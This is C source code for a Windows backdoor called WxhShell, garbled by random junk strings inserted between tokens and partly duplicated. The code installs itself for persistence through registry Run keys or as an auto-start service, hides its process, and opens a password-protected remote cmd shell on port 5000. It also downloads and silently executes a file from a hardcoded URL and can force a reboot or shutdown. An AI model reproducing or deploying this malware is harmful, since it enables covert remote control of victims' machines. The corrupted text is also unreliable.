HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i*xVD`x ~ if(NULL == hInst ) return 0; dF|n)+C~R #BEXj<m+J g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >0 := <RW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |+-b#Sa9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nog{w JBV
06T_4o if (!NtQueryInformationProcess) return 0;
3"HEXJMc # b3 14 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ieO w& if(!hProcess) return 0; FIJ]` aTaL|&( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }PMlG Qc Xw - CloseHandle(hProcess); GB*^?Ii !bW^G}
<t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W9G jUswv! if(hProcess==NULL) return 0; 3;//o< P=ubCS' HMODULE hMod; `)i4ZmE| char procName[255]; Pr/q?qZY unsigned long cbNeeded; $?&distJ !(_qM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r-hb]!t nS!m1&DeD CloseHandle(hProcess); >)`*:_{ KrTlzbw&p\ if(strstr(procName,"services")) return 1; // 以服务启动 vQ5rhRG)E e{Mkwi+j return 0; // 注册表启动 5 yL"=3&+ } t,5AoK/NL9 `j6O // 主模块 k
c L
+ int StartWxhshell(LPSTR lpCmdLine) sEa| 2$ { M\08 7k SOCKET wsl; SR4 mbQ: BOOL val=TRUE; j3o?B int port=0; _bCIVf` struct sockaddr_in door; 4?`*#DPl @Y%i`}T%( if(wscfg.ws_autoins) Install(); p13y`sU= ^Y"|2 : port=atoi(lpCmdLine); oPxh+|0? C7l4X8\w if(port<=0) port=wscfg.ws_port; }F_=.w0 )uCa]IR WSADATA data; 9 KU3)%U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U@".XIDQ W
6R/{H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; VkC1\L6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;3=RM\ door.sin_family = AF_INET; A2nL=9~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O2~Q(q' door.sin_port = htons(port); x,<|<W5<% Gbb*p+( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wemhP8!gc closesocket(wsl); }vX1@n7T6 return 1; <a(739IF } [TmZ\t!5$ `$] ZT>& if(listen(wsl,2) == INVALID_SOCKET) { \uOR1z closesocket(wsl); _BND{MsX return 1; jq[Q>"f
} .|LY /q\A Wxhshell(wsl); 9'O@8KB_ WSACleanup(); \k%j RPTIDA)) return 0; IP#qT
`=} <[z9*Tm } 6 Znt
{u$<-W-& // 以NT服务方式启动 l Ztw[c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #@cEJV;5" { zE=^}K+ DWORD status = 0; h(FFG%H( DWORD specificError = 0xfffffff; Z"9D1Uk j-/F*P serviceStatus.dwServiceType = SERVICE_WIN32; YZc{\~d serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1{CVd m<9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nhB.>ReAi serviceStatus.dwWin32ExitCode = 0; TdrRg''@ serviceStatus.dwServiceSpecificExitCode = 0; N}\3UHtO serviceStatus.dwCheckPoint = 0; $*+`;PG- serviceStatus.dwWaitHint = 0; ?fvK<0S` 810uxw{\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nf9$q| %! if (hServiceStatusHandle==0) return; HA;G{[X j>O!|V status = GetLastError(); o=Kd9I# if (status!=NO_ERROR) u:}yE^8 @ {
rUBc5@| serviceStatus.dwCurrentState = SERVICE_STOPPED; (p? B= serviceStatus.dwCheckPoint = 0; >'{'v[qR[G serviceStatus.dwWaitHint = 0; xU;Q~( serviceStatus.dwWin32ExitCode = status; 5J*h7 serviceStatus.dwServiceSpecificExitCode = specificError; A~wVY SetServiceStatus(hServiceStatusHandle, &serviceStatus); $$---Y return; :w26d-QR( } 3W@ta1 ?_@Mg\Hc serviceStatus.dwCurrentState = SERVICE_RUNNING;
QjFE serviceStatus.dwCheckPoint = 0; .10$n* serviceStatus.dwWaitHint = 0; 6hf6Z3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $+w -r#, } fsV_>5I6 *|.-y-> // 处理NT服务事件,比如:启动、停止 Z:<6Ck VOID WINAPI NTServiceHandler(DWORD fdwControl) ]= 9^wS { j.g9O]pi switch(fdwControl) e`t-:~' { KqWt4{\8v` case SERVICE_CONTROL_STOP: 6$\'dkufQ serviceStatus.dwWin32ExitCode = 0; w*IDL0# serviceStatus.dwCurrentState = SERVICE_STOPPED; X[$FjKZh=F serviceStatus.dwCheckPoint = 0; L[}Ak1 A serviceStatus.dwWaitHint = 0; f>ilk Q` { 9Z. WR-} SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GQRJ8m } %g=SkQ&d return; t|cTl/i
4 case SERVICE_CONTROL_PAUSE: u\ }"l2 r serviceStatus.dwCurrentState = SERVICE_PAUSED; =o,6iJ^?$m break; !WQ S.& case SERVICE_CONTROL_CONTINUE: uzaDK serviceStatus.dwCurrentState = SERVICE_RUNNING; h$a%PaVf break; !^(?C@TQ case SERVICE_CONTROL_INTERROGATE: Nr0}*8#j break; oz/Nx{bg }; q,2 +\i SetServiceStatus(hServiceStatusHandle, &serviceStatus); eGlPi| } dW"=/UW 3W"l}.&ZJ" // 标准应用程序主函数 =LojRY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]"-c?%L { MI|anM S2"H E` // 获取操作系统版本 vUgMfy& OsIsNt=GetOsVer(); J4q_}^/2w GetModuleFileName(NULL,ExeFile,MAX_PATH); |eFce/ 0I"r*;9?K // 从命令行安装 Cc>+OUL if(strpbrk(lpCmdLine,"iI")) Install(); Tj,1]_`=V$ lb<D,&+ // 下载执行文件 N Uo if(wscfg.ws_downexe) { SR*KZ1U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U|)CZcM WinExec(wscfg.ws_filenam,SW_HIDE); _Rm1-,3 } GGkU$qp2~ '(yjq< if(!OsIsNt) { 05/'qf7P,U // 如果时win9x,隐藏进程并且设置为注册表启动 E@92hB4D" HideProc(); :6y;U StartWxhshell(lpCmdLine); Gq9pJ } I?Ct@yxhF' else b=Oec%Adx if(StartFromService()) I2<5#|CXpZ // 以服务方式启动 >sm<$'vZ/ StartServiceCtrlDispatcher(DispatchTable); -)$5[jM] else )~H&YINhn // 普通方式启动 #Bi8>S StartWxhshell(lpCmdLine); B0"55g*c nypG return 0; 0XUWK@)P } y6N }R hSF4-Vvb _!Ir|j.A ;A;FR3=) =========================================== $ {5|{` !ui:0_
<5:`tC2 Z<@dM2b) /{*0
\`; VJ()sbl{k " .|z8WF* rM{V>s:N #include <stdio.h> {<y.G1<. #include <string.h> GR>kxYM%q #include <windows.h> Hw
1cc3! #include <winsock2.h> Rr6}$]1 #include <winsvc.h> BoHpfx1C #include <urlmon.h> CH+mzy GLE"[!s]f #pragma comment (lib, "Ws2_32.lib") %e%VHHO| #pragma comment (lib, "urlmon.lib") Ue2%w/Yo n(?BZ'&!O #define MAX_USER 100 // 最大客户端连接数 V"DilV$v #define BUF_SOCK 200 // sock buffer 0m
7_#g4$L #define KEY_BUFF 255 // 输入 buffer Va3/#is' 8a,pDE #define REBOOT 0 // 重启 L@>$
Aw #define SHUTDOWN 1 // 关机 JJVdq-k+` PiZU_~A #define DEF_PORT 5000 // 监听端口 +jN%w{^= 5tQZf'pHfd #define REG_LEN 16 // 注册表键长度 r%UsUj #define SVC_LEN 80 // NT服务名长度 IT=<p60" mVNHH! // 从dll定义API ~"}o^#@DwJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z,}c) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = &"x6F.` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kYnp$8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;X)b= =dDr:Y<@* // wxhshell配置信息 r0(* ]K:. struct WSCFG { ]o3K int ws_port; // 监听端口 EaUO>S char ws_passstr[REG_LEN]; // 口令 #d;/Me int ws_autoins; // 安装标记, 1=yes 0=no 8c^Hfjr0 char ws_regname[REG_LEN]; // 注册表键名 ^< wn char ws_svcname[REG_LEN]; // 服务名 $BUm, char ws_svcdisp[SVC_LEN]; // 服务显示名 s{dgUX char ws_svcdesc[SVC_LEN]; // 服务描述信息 K0C3s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x_$`#m{hL5 int ws_downexe; // 下载执行标记, 1=yes 0=no 1Zt>andBF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \^]*T'>b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?`T-A\A= ^SC2k LI }; J`xCd/G 35/K9l5 // default Wxhshell configuration `|WEzW~ struct WSCFG wscfg={DEF_PORT, T3,}CK#O "xuhuanlingzhe", L. DD 1, +\)a p "Wxhshell", cT(=pMt8> "Wxhshell", W\5PsGUsv "WxhShell Service", :jr`}Z%;y "Wrsky Windows CmdShell Service", +Hkr\ "Please Input Your Password: ", 5Vj O:> 1, $~)YI/b "http://www.wrsky.com/wxhshell.exe", W@FSQ8b>$m "Wxhshell.exe" 0AD8X+M{P }; ,jq:%Y[KZ gi #dSd1\& // 消息定义模块 I#PhzGC@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $L"h|>b\o char *msg_ws_prompt="\n\r? for help\n\r#>"; (C.<H6]= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #6*20w_u char *msg_ws_ext="\n\rExit."; iOJ5KXrAO char *msg_ws_end="\n\rQuit."; 7^W(e s char *msg_ws_boot="\n\rReboot..."; OAo;vC:^ char *msg_ws_poff="\n\rShutdown..."; ;DXg char *msg_ws_down="\n\rSave to "; e6gLYhf& OWT|F0.1$k char *msg_ws_err="\n\rErr!"; P"%f8C~r char *msg_ws_ok="\n\rOK!"; w9TE E,t;5 Znd ,FqHk char ExeFile[MAX_PATH]; zyP9
n[eZ int nUser = 0; %WlTx&jSgE HANDLE handles[MAX_USER]; +=K =B int OsIsNt; \-8S" _o7t| pl~ SERVICE_STATUS serviceStatus; w0^}c8%WR SERVICE_STATUS_HANDLE hServiceStatusHandle; SW)jDy A~({vb' // 函数声明 ;(&S1Rv9 int Install(void); D`R~d;U~ int Uninstall(void); SFR<T int DownloadFile(char *sURL, SOCKET wsh); ;cfPS int Boot(int flag); <S3s==Cg void HideProc(void); &a.A8v) int GetOsVer(void); )fQ1U int Wxhshell(SOCKET wsl); 'Y0h w void TalkWithClient(void *cs); G j^* int CmdShell(SOCKET sock); lc\{47LwZ int StartFromService(void);
mx5#K\ int StartWxhshell(LPSTR lpCmdLine); qPBOt;N )kD B*(? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nrg$V>pD VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2p~}<B 7~Z(dTdSG // 数据结构和表定义 (0E<Fz
V SERVICE_TABLE_ENTRY DispatchTable[] = 9DdR"r'7 { nh*6`5yj {wscfg.ws_svcname, NTServiceMain}, ksf6O$ {NULL, NULL} ZvwU }; *vzEfmN:d }0,dG4Oo= // 自我安装 N}>[To3 int Install(void) uHq;z{ 2GI { 8]D0) char svExeFile[MAX_PATH]; P^AI*tH"m HKEY key; 0<93i strcpy(svExeFile,ExeFile); -9Dr;2\ :!Nx'F9a // 如果是win9x系统,修改注册表设为自启动 #>6Jsnv1 if(!OsIsNt) { X0Wx\xDg[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R@){=8%z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dhjX[7Bl9 RegCloseKey(key); SY.ZEJcv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <nTZs`$LwL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zx5#eMD RegCloseKey(key); |DYgc$2pN return 0; G=]ox*BY } td7Of(k' } z*B?Hw), } Xdf4%/Op else { hn~btu9h 05:?5M4}; // 如果是NT以上系统,安装为系统服务 _F8THYg ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jZD)c_'U if (schSCManager!=0) /DjsnU~3 { !yd]~t
5Q SC_HANDLE schService = CreateService (D:-p:q. ( Gt)ij?~ schSCManager, w' E(9gV wscfg.ws_svcname, w{ ;Sp?Os wscfg.ws_svcdisp, v: veKA SERVICE_ALL_ACCESS, yf7|/M SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mh{244|o[ SERVICE_AUTO_START, _PcF/Gyk SERVICE_ERROR_NORMAL, W1521: svExeFile, ut#pg+#Q NULL, 5mS/,fs@ NULL, y)"rh /; NULL, #0PZa$kM(o NULL, n
=WH=:& NULL 2Z5_@Y ); mfG m>U if (schService!=0) IEfYg(c0U { {1qr6P," CloseServiceHandle(schService); 1[J|AkN CloseServiceHandle(schSCManager); F2Y!aR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pKno~jja strcat(svExeFile,wscfg.ws_svcname); Np i)R) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =?Ui(?tI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kv2S&P|jXM RegCloseKey(key); YUHiD* return 0; zk"8mTg } iCLH } TW|- 0
CloseServiceHandle(schSCManager); 9g\;L:' } TyjZ } plp-[eKcD F{.\i *$ return 1; mz+UkA' } fs?H ;6~5FTmV // 自我卸载 Eh)VT{vp int Uninstall(void) l4dG=x}M] { %`QgG HKEY key; Q6wa-Y, 8d2\H*a9~ if(!OsIsNt) { t0GJ$]) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f%i%QZP RegDeleteValue(key,wscfg.ws_regname); 8*x=Fm,Ok RegCloseKey(key); YYT#{>& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +g kJrw RegDeleteValue(key,wscfg.ws_regname); [uK{``" RegCloseKey(key); M>[
A return 0; R7U%v"F>` } YCQ$X } uT'l.*W6i } rwVp}H G
else { reNf?7G+m [sjkm+
? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PZ`11#bbm if (schSCManager!=0) zj(V\y&H { #]6{>n1*+w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yCA8/)>Gm if (schService!=0) KGcjZx04! { ~\AF\n% if(DeleteService(schService)!=0) { kiyc ^s CloseServiceHandle(schService); Ix}6%2\ CloseServiceHandle(schSCManager); /Q3\6DCl return 0; e0h[(3bXs$ } +'-.c" CloseServiceHandle(schService); 5A*&!1T } O$}.b=N9 CloseServiceHandle(schSCManager); ^!d0abA } k@un}}0r } w#[cGaIB 3fp&iz return 1; g&y^ r/ } %T\hL\L? $xbW*w // 从指定url下载文件 BV`\6SM~ int DownloadFile(char *sURL, SOCKET wsh) =#,`k<v%I { KyfH8Na? HRESULT hr; 6o7t eX char seps[]= "/"; S,nELV~! char *token; )-emSV0zE char *file; 5QLK char myURL[MAX_PATH]; g27'il char myFILE[MAX_PATH]; 9aY8`B u\L}B! strcpy(myURL,sURL); E "}@SaB- token=strtok(myURL,seps); "GQ Q8rQ while(token!=NULL) _1&Ar4: { (or"5}\6- file=token; R6Ov token=strtok(NULL,seps); a!E22k?((z } R-j*fO} @anjjC5a~ GetCurrentDirectory(MAX_PATH,myFILE); O"+0 b| strcat(myFILE, "\\"); m;]wKd" strcat(myFILE, file); CpmT* send(wsh,myFILE,strlen(myFILE),0); P|bow+4 send(wsh,"...",3,0); -]HZ?@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n)98NSVDbT if(hr==S_OK) ,`Y$}"M4 return 0; "mf$E| else jt on \9 return 1; ;//9,x9;t U:C:ugm } rO$pj~!|Q ?nGi if // 系统电源模块 ;6Yg}L int Boot(int flag) LCH\;07V# { ZQ_6I}i") HANDLE hToken; $VvgzjrH TOKEN_PRIVILEGES tkp; dY S(}U !T][c~l if(OsIsNt) { ,
:#bo]3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YE{ [f@i0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qk:Lo*! tkp.PrivilegeCount = 1; mGj)Zrx> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #~|k EGt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P,{Q k~iu if(flag==REBOOT) { p@su:B2Rl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W&*&O,c return 0; z{
:;Rb } G/<zd) else { #BUq;5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B5;%R01A return 0; d"9tP&
Q } M}x%'=Pox } **Ioy+ else { iVI& if(flag==REBOOT) { %S^hqC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 05q760I+ return 0; bGH#s {'5 } gmRc4o else { }q.D)'g_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *x|%Nua" return 0; 7@fS2mu } 6M*z`B{hV } q>.7VN[
vE
dZ`Y>wH_ return 1; OuTV74 } M?eP1v:<+G pT]hPuC // win9x进程隐藏模块 G+8)a$?v void HideProc(void) Nh.+woFq4 { {Ya$Q#l *#mmk1` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (BVqmi{ if ( hKernel != NULL ) 9efDM { &-yRa45? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DQQ]grU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6DHK&<=D8 FreeLibrary(hKernel); l#KcmOz } Cdz&'en^ 0!\C@wnH return; _-_iw&F } \%a0Lp{ I 89FAh6u E // 获取操作系统版本 |q*yuK/ int GetOsVer(void) L1SKOM$ { c,~uurVi OSVERSIONINFO winfo; bkV<ZUW|; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4^L;]v,|7 GetVersionEx(&winfo); [Km{6L& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "/Qz?1>l+ return 1; F?Lt-a+ else 6VGY4j}:( return 0; SsZC g#i } ?Ij(B}D (u@:PiU/eP // 客户端句柄模块 _`udd)Y2 int Wxhshell(SOCKET wsl) >&PM'k { ;
j!dbT~5 SOCKET wsh; U#[&( struct sockaddr_in client; ]->"4,} DWORD myID; .uJ
J< D;pI!S<# while(nUser<MAX_USER) <a6pjx>y { 9p W~Gz int nSize=sizeof(client); zr.\7\v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4E^ ?}_$ if(wsh==INVALID_SOCKET) return 1; H0af u)$, gXdMGO> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0~qc,-)3 if(handles[nUser]==0) Pao^>rj closesocket(wsh); > <YU'>% else @|b-X? ` nUser++; zEI+)|4?r } 9&Jf4lC94 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M&V'*.xz xS,24{-HJ return 0; 'Lrn< } 6m:$mhA5 X0;u7g2Yz // 关闭 socket }(nT(9| void CloseIt(SOCKET wsh) EK';\} { fN&\8SPE closesocket(wsh); /+Z*)q+SbT nUser--; WO qDW~ ExitThread(0); HOP*QX8C% } g<j) #f2Ot<#- // 客户端请求句柄 .4+Rac void TalkWithClient(void *cs) 5kiW@{m { <w2h@ea 1rm\ u% SOCKET wsh=(SOCKET)cs; =tOB fRM char pwd[SVC_LEN]; uHg q"e char cmd[KEY_BUFF]; LiG$M{ 0 char chr[1]; &i5@4,p y9 int i,j; |.N[NY d_!Z /M, while (nUser < MAX_USER) { }>@\I^Xm, !Km[Qw
k- if(wscfg.ws_passstr) { ?})A-$f ~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Bo%2O%4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !D??Y^6bI //ZeroMemory(pwd,KEY_BUFF); ,s[%,ep` i=0; >rd#,r while(i<SVC_LEN) { O4R\]B#Xu /hl'T'RG // 设置超时 |7|S>h^ fd_set FdRead; Hl$W+e|tj struct timeval TimeOut; TjUwe@&Rw FD_ZERO(&FdRead); .?:*0 FD_SET(wsh,&FdRead); lFzVd
N TimeOut.tv_sec=8; =1IK"BA2? TimeOut.tv_usec=0; B>53+GyMV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t(z]4y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2&1mI>:F =D`8,n [ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Scrj%h%[ pwd=chr[0]; ~lj[> |\Oj if(chr[0]==0xd || chr[0]==0xa) { E 2nz pwd=0; ? o"
Vkc: break; P<PZ4hNx } sA2-3V<t8 i++; p'R<yB)V } (4YLUN&1O$ |+nmOi,z // 如果是非法用户,关闭 socket NM3;l}Y8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nTy]sPn } \,#$,dUXD l\UjvG send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `_\KN_-%Vu send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I C `c while(1) {
2v{WX &A0OYV3i. ZeroMemory(cmd,KEY_BUFF); q'mh* e*:K79y // 自动支持客户端 telnet标准 qf? "v; j=0; &6sF wK while(j<KEY_BUFF) { f$lb.fy5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cN,*QN cmd[j]=chr[0]; @DysM~I
if(chr[0]==0xa || chr[0]==0xd) { ,L<JG cmd[j]=0; @](vFb break; 8['R D`O } ]oGd,v X j++; SQN?[v } t1 3V>9to YSD G! // 下载文件 \=%lH =yS if(strstr(cmd,"http://")) { s)-oCT$[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); &S >{9y% if(DownloadFile(cmd,wsh)) n>'(d*[e& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8V:;HY# else DDrR9}k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0*{(R# } [ws
_ g,/ else { Bu:%trlgV x9l7|G/$ switch(cmd[0]) { C$w%!
jE *Soi // 帮助 [mtp-4* case '?': { Cut~k"lv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VX)8pV$ break; 65LtCQ} } *;A ;)' // 安装 D \ rns+ case 'i': { |1@O>GG if(Install()) j,YrM?Xdo send(wsh,msg_ws_err,strlen(msg_ws_err),0); tT]@yo|?e/ else !#0)`4O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j<^!"_G]*? break; 5%,3)H{;t } r^
r+h[V // 卸载 _}R$h=YD case 'r': { Z
'5itN^ if(Uninstall()) k~[jk5te send(wsh,msg_ws_err,strlen(msg_ws_err),0); #49l\>1z else <9@n/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +#IUn break; $LXa] } B}"R@;N // 显示 wxhshell 所在路径 i%i~qTN case 'p': { opa/+V3E4 char svExeFile[MAX_PATH]; yy3rh(ea strcpy(svExeFile,"\n\r"); I!/32* s1t strcat(svExeFile,ExeFile); Ca |}i+ send(wsh,svExeFile,strlen(svExeFile),0); mb*Yw6q break; s#$t!F??9 } {it.F4. // 重启 D6ZHvY8R case 'b': { H!;N0",]N send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oG,>Pk if(Boot(REBOOT)) O,%UNjx9K send(wsh,msg_ws_err,strlen(msg_ws_err),0); mE~WE+lw9 else { MIJuJ]U} closesocket(wsh); +<E#_)}`D6 ExitThread(0); P'~`2W0sz } >2#<gp3 break; er3Mvw } 6))":<J // 关机 D.Ke case 'd': { ~n
'A1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I0
t#{i if(Boot(SHUTDOWN)) HI5NWdfRl send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'_EcYNS else { 2}^=NUM\NX closesocket(wsh); t24`*' ExitThread(0); Qa2h#0j } }IygU 6{G break; Dw
i-iA_q } 'aNkU // 获取shell FVXsu!R case 's': { +yL; ?+s>= CmdShell(wsh); O*N:A[eW closesocket(wsh); i#:To
|\u ExitThread(0); 75\ZD-{T: break; y[McdlH m } p[4 +`8 // 退出 2$JZ(qnN case 'x': { 19fa7E< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EZ!! V~ CloseIt(wsh); X;LYGJ{Xk break; %M
x|"ff } e;6:U85LS // 离开 }Y-V!z5z! case 'q': { )WvKRp r send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~W@dF~r closesocket(wsh); )?{<Tt@ WSACleanup(); Jxl'!8t exit(1); Y1cL dQn break; .vHHw@ } 0Y oKSo } E$%v);u } 7~2_'YX>: ij]UAJ}t // 提示信息 +"84.PZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DT-.Gdb8 } inW7t2p<s } n1\$|[^6 hT%fM3|,e return; :}_hz ) } 7c_2.T@4 |ts0j/A]Pi // shell模块句柄 )Q1aAS3 int CmdShell(SOCKET sock) J *LPv9) { X&[Zk5DU* STARTUPINFO si; /US% s ZeroMemory(&si,sizeof(si)); }wo:1v8J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +VVn@=&? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sd4eG PROCESS_INFORMATION ProcessInfo; NioqJG?p char cmdline[]="cmd"; ]DnAW'm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Op0*tj2i), return 0; {5VJprTbv } bEF2-FO 38sLyoG=i // 自身启动模式 7mSNz. int StartFromService(void) bR3Crz(9G { 9ug4p'] typedef struct 8}yrsF# { F7'MoH DWORD ExitStatus; ?"'+tZ=f6 DWORD PebBaseAddress; "(jD*\8x DWORD AffinityMask; nql1I<I DWORD BasePriority; hXFT(J= ULONG UniqueProcessId; _#M4zO7 ULONG InheritedFromUniqueProcessId; sm"Rp~[i } PROCESS_BASIC_INFORMATION; 7zz F M @@@}FV& PROCNTQSIP NtQueryInformationProcess; M2V`|19Q NcbW"Qv3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v,opyTwG| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O-.G(" `Cd! HANDLE hProcess; LV ]10v6 PROCESS_BASIC_INFORMATION pbi; gb!0%* 4,@jSr|I3i HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CE{2\0Q if(NULL == hInst ) return 0; cGs&Kn;h 5(2 C g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DI(X B6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B4HMs$> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KCpq<A% t"9r`0> if (!NtQueryInformationProcess) return 0; EPwU{*F Hxy=J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \0Xq&CG=E if(!hProcess) return 0; >KQ/ c 1Z?uT[kR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7}NvO"u XFWE^*e=B CloseHandle(hProcess); P_H2[d&/>D 9s!R_R&W. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) iV^rLwL if(hProcess==NULL) return 0; #lik: ? G,+3(C HMODULE hMod; *'?V>q, char procName[255]; ;y7+ Q unsigned long cbNeeded; :3s^, g }s"].Xm^2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, 